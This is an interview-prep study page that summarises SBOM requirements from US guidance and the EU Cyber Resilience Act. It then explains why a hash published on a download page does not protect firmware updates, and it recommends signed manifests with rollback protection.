Two public documents set expectations. In the US, NTIA published The Minimum Elements for a Software Bill of Materials in 2021, and on 29 July 2026 CISA, with the NSA, the FBI and international partners, published 2026 Minimum Elements for a Software Bill of Materials (SBOM), which replaces it after a 2025 public-comment draft and adds elements such as component hash algorithm, component licence, SBOM tool name and SBOM generation context. In the EU, the Cyber Resilience Act (Regulation (EU) 2024/2847) requires manufacturers of products with digital elements to identify and document components, including by drawing up an SBOM covering at least top-level dependencies; its reporting obligations for actively exploited vulnerabilities and severe incidents have applied since 11 September 2026, and most other obligations apply from 11 December 2027. (EUR-Lex wouldn't load for this check, so those dates and the SBOM wording were confirmed against the Commission's CRA reporting page and several law-firm summaries, October 2026, not the Official Journal text itself.) For a team shipping device firmware, that turns SBOM generation from a nice-to-have into part of the release checklist (CI/CD for web UI, APIs and firmware).

Why isn't the hash on the download page enough?

The release page for a firmware image shows its SHA-256 next to the download link, both served over HTTPS from the vendor's site. The device checks the image against a hash the admin pastes in before installing. Which attacks does this stop, which doesn't it, and what would you change?

Show answer

It stops accidental corruption and tampering on the way from the site to the admin. It doesn't stop anyone who can change the vendor's site (they change the image and the hash together), a downgrade to an old genuine image, or an admin pasting the wrong hash. Sign a manifest containing the hash, verify it on the device with a built-in public key, and add a rollback floor.

What’s happening
  1. The hash and the image come from the same place. Whoever can replace one (a compromised web server, CDN or a malicious insider) can replace both, so the check passes for their image. That's the image swapped, manifest edited case in the model, but without the signature that made it fail.
  2. A hash only compares bytes with bytes. Corruption in transit or on a USB stick changes the bytes, so it is caught: the model's one bit flipped line.
  3. An old genuine release has a genuine hash on its own (old) release page, so it passes. Only a security-version floor on the device stops it: the model's genuine old release 4.9.0 → rejected: rollback.
  4. The fix moves trust from "what the website says" to "what the vendor's offline key signed": the hash lives inside a signed manifest, the device holds the public key from the factory, and the admin no longer has to type anything security-critical.

Written fresh for a device-platform full stack role. Runnable examples were run on Node 26; product facts come from public documentation, cited where used.

RohitDownloads · All chapters

Sync progress across devices

Type the same private phrase on your Mac and your phone, and your Learned ticks follow you between them — on every study site.

The phrase never leaves this device: only a fingerprint of it is sent, and the server stores a fingerprint of that. Anyone who knows the phrase could see or change your ticks, so pick something you don’t use elsewhere.

Sync is on in this browser.

Sync ID

This ID must be the same on every device. If another device shows a different one, its phrase is different (capital letters count): tap “Turn off here” on it and type the phrase again exactly.